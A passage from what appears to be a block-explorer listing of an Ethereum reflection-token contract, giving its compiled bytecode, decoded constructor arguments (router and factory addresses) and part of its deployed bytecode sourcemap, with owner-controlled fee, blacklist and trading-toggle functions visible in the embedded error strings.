cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611e46576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806142c26022913960400191505060405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f06576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611fda57611f96600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111fb565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506009819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6120f6613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600181101580156121c8575060318111155b61223a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f7461784665652073686f756c6420626520696e2031202d20343900000000000081525060200191505060405180910390fd5b8060128190555050565b61224c613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461230c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6123b8613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612478576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61259f613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461265f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b612718613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146127d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146128f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f6f776e6572206973207a65726f2061646472657373000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060108054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612a705780601f10612a4557610100808354040283529160200191612a70565b820191906000526020600020905b815481529060010190602001808311612a5357829003601f168201915b5050505050905090565b6000612b3d612a87613129565b84612b38856040518060600160405280602581526020016142e46025913960056000612ab1613129565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8a9092919063ffffffff16565b613131565b6001905092915050565b612b4f613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612c0f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60018110158015612c21575060318111155b612c93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6d61726b6574696e674665652073686f756c6420626520696e2031202d20313181525060200191505060405180910390fd5b8060138190555050565b6000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000612cdb612cd4613129565b8484613328565b6001905092915050565b612ced613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612dad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b612e10613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612ed0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60018110158015612ee2575060318111155b612f54576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6c69717569646974794665652073686f756c6420626520696e2031202d20313181525060200191505060405180910390fd5b8060148190555050565b6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080831415613022576000905061308f565b600082840290508284828161303357fe5b041461308a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806141a56021913960400191505060405180910390fd5b809150505b92915050565b60006130d783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613c78565b905092915050565b600061312183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613a8a565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156131b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806142606024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561323d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806141316022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156133ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061423b6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613434576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806140e46023913960400191505060405180910390fd5b6000811161348d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806141ee6029913960400191505060405180910390fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061352e5750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156135855760008114613584576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b60011515600a60009054906101000a900460ff16151514806135d957506135aa6129af565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061361657506135e76129af565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15613a2057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156136be5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156138715761372f8160405180606001604052806026815260200161415360269139600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8a9092919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506137c481600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b7590919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3613a1b565b6138dd8160405180606001604052806026815260200161415360269139600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8a9092919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061397281600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b7590919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b613a85565b60011515600a60009054906101000a900460ff16151514613a84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b505050565b6000838311158290613b37576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613afc578082015181840152602081019050613ae1565b50505050905090810190601f168015613b295780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000806000613b57613d3e565b91509150613b6e818361309590919063ffffffff16565b9250505090565b600080828401905083811015613bf3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000806000806000806000806000613c2e8a601254613c29601454601354613b7590919063ffffffff16565b613fef565b9250925092506000613c3e613b4a565b90506000806000613c508e8786614085565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60008083118290613d24576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613ce9578082015181840152602081019050613cce565b50505050905090810190601f168015613d165780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581613d3057fe5b049050809150509392505050565b6000806000600b549050600069152d02c7e14af6800000905060005b600980549050811015613fa257826002600060098481548110613d7957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613e605750816003600060098481548110613df857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15613e7f57600b5469152d02c7e14af680000094509450505050613feb565b613f086002600060098481548110613e9357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846130df90919063ffffffff16565b9250613f936003600060098481548110613f1e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836130df90919063ffffffff16565b91508080600101915050613d5a565b50613fc269152d02c7e14af6800000600b5461309590919063ffffffff16565b821015613fe257600b5469152d02c7e14af6800000935093505050613feb565b81819350935050505b9091565b60008060008061401b606461400d888a61300f90919063ffffffff16565b61309590919063ffffffff16565b905060006140456064614037888b61300f90919063ffffffff16565b61309590919063ffffffff16565b9050600061406e87614060858c6130df90919063ffffffff16565b6130df90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061409e858861300f90919063ffffffff16565b905060006140b5868861300f90919063ffffffff16565b905060006140cc82846130df90919063ffffffff16565b90508281839550955095505050509350935093905056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63656d61785478416d6f756e742073686f756c642062652067726561746572207468616e20746f74616c20316539536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f57652063616e206e6f7420626c61636b6c69737420556e697377617020726f757465722e45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573736e756d546f6b656e7353656c6c546f416464546f4c69717569646974792073686f756c642062652067726561746572207468616e20746f74616c2031653957652063616e206e6f74206578636c75646520556e697377617020726f757465722e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a94fcd4bd1a6abdaabf4ad144ddda98a7033bdde05f8d7419f7c9990a24c97d564736f6c63430007000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f

-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : factory (address): 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f


Deployed Bytecode Sourcemap

23256:19612:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25787:83;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;26619:161;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;27885:87;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;26064:95;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;42464:201;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;42147:309;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;26788:313;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;28780:253;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;42673:192;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;25973:83;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;29495:479;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;35145:134;;;;;;;;;;;;;:::i;:::-;;27109:218;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;27980:126;;;;;;;;;;;;;:::i;:::-;;29982:218;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;28336:436;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;35288:92;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;29041:446;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;30848:123;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;41532:169;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;34919:100;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;26167:118;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;15118:180;;;;;;;;;;;;;:::i;:::-;;34810:101;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;35027:110;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;30208:111;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;14421:141;;;;;;;;;;;;;:::i;:::-;;27612:120;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;14248:79;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;25878:87;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;27335:269;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;41709:211;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;28230:98;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;26293:167;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;27740:137;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;41928:211;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;28118:100;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;26468:143;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;25787:83;25824:13;25857:5;25850:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25787:83;:::o;26619:161::-;26694:4;26711:39;26720:12;:10;:12::i;:::-;26734:7;26743:6;26711:8;:39::i;:::-;26768:4;26761:11;;26619:161;;;;:::o;27885:87::-;27927:7;27954:10;;27947:17;;27885:87;:::o;26064:95::-;26117:7;23935:23;26137:14;;26064:95;:::o;42464:201::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;42565:5:::1;42550:11;:20;;42542:78;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;42646:11;42631:12;:26;;;;42464:201:::0;:::o;42147:309::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;42302:5:::1;42269:29;:38;;42261:114;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;42419:29;42386:30;:62;;;;42147:309:::0;:::o;26788:313::-;26886:4;26903:36;26913:6;26921:9;26932:6;26903:9;:36::i;:::-;26950:121;26959:6;26967:12;:10;:12::i;:::-;26981:89;27019:6;26981:89;;;;;;;;;;;;;;;;;:11;:19;26993:6;26981:19;;;;;;;;;;;;;;;:33;27001:12;:10;:12::i;:::-;26981:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;26950:8;:121::i;:::-;27089:4;27082:11;;26788:313;;;;;:::o;28780:253::-;28846:7;28885;;28874;:18;;28866:73;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28950:19;28973:10;:8;:10::i;:::-;28950:33;;29001:24;29013:11;29001:7;:11;;:24;;;;:::i;:::-;28994:31;;;28780:253;;;:::o;42673:192::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;42755:45:::1;42772:4;42779:7;:5;:7::i;:::-;42788:11;42755:8;:45::i;:::-;42811:46;42829:4;42836:7;:5;:7::i;:::-;42845:11;42811:9;:46::i;:::-;42673:192:::0;:::o;25973:83::-;26014:5;26039:9;;;;;;;;;;;26032:16;;25973:83;:::o;29495:479::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29577:11:::1;:20;29589:7;29577:20;;;;;;;;;;;;;;;;;;;;;;;;;29569:60;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;29645:9;29640:327;29664:9;:16;;;;29660:1;:20;29640:327;;;29722:7;29706:23;;:9;29716:1;29706:12;;;;;;;;;;;;;;;;;;;;;;;;;:23;;;29702:254;;;29765:9;29794:1;29775:9;:16;;;;:20;29765:31;;;;;;;;;;;;;;;;;;;;;;;;;29750:9;29760:1;29750:12;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;29834:1;29815:7;:16;29823:7;29815:16;;;;;;;;;;;;;;;:20;;;;29877:5;29854:11;:20;29866:7;29854:20;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;29901:9;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29935:5;;29702:254;29682:3;;;;;;;29640:327;;;;29495:479:::0;:::o;35145:134::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;35227:4:::1;35217:14;;:6;;;;;;;;;;;:14;;;35213:59;;;35243:5;35234:6;;:14;;;;;;;;;;;;;;;;;;35213:59;;;35266:4;35257:6;;:13;;;;;;;;;;;;;;;;;;35213:59;35145:134::o:0;27109:218::-;27197:4;27214:83;27223:12;:10;:12::i;:::-;27237:7;27246:50;27285:10;27246:11;:25;27258:12;:10;:12::i;:::-;27246:25;;;;;;;;;;;;;;;:34;27272:7;27246:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;27214:8;:83::i;:::-;27315:4;27308:11;;27109:218;;;;:::o;27980:126::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28062:36:::1;28088:9;;28062:7;:21;28070:12;:10;:12::i;:::-;28062:21;;;;;;;;;;;;;;;;:25;;:36;;;;:::i;:::-;28038:7;:21;28046:12;:10;:12::i;:::-;28038:21;;;;;;;;;;;;;;;:60;;;;27980:126::o:0;29982:218::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30077:42:::1;30066:53;;:7;:53;;;;30058:102;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30188:4;30171:5;:14;30177:7;30171:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;29982:218:::0;:::o;28336:436::-;28426:7;23935:23;28454:7;:18;;28446:62;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28524:17;28519:246;;28559:15;28583:19;28594:7;28583:10;:19::i;:::-;28558:44;;;;;;;28624:7;28617:14;;;;;28519:246;28666:23;28697:19;28708:7;28697:10;:19::i;:::-;28664:52;;;;;;;28738:15;28731:22;;;28336:436;;;;;:::o;35288:92::-;35342:4;35366:6;;;;;;;;;;;35359:13;;35288:92;:::o;29041:446::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29136:42:::1;29125:53;;:7;:53;;;;29117:100;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29237:11;:20;29249:7;29237:20;;;;;;;;;;;;;;;;;;;;;;;;;29236:21;29228:61;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;29322:1;29303:7;:16;29311:7;29303:16;;;;;;;;;;;;;;;;:20;29300:108;;;29359:37;29379:7;:16;29387:7;29379:16;;;;;;;;;;;;;;;;29359:19;:37::i;:::-;29340:7;:16;29348:7;29340:16;;;;;;;;;;;;;;;:56;;;;29300:108;29441:4;29418:11;:20;29430:7;29418:20;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;29456:9;29471:7;29456:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29041:446:::0;:::o;30848:123::-;30912:4;30936:18;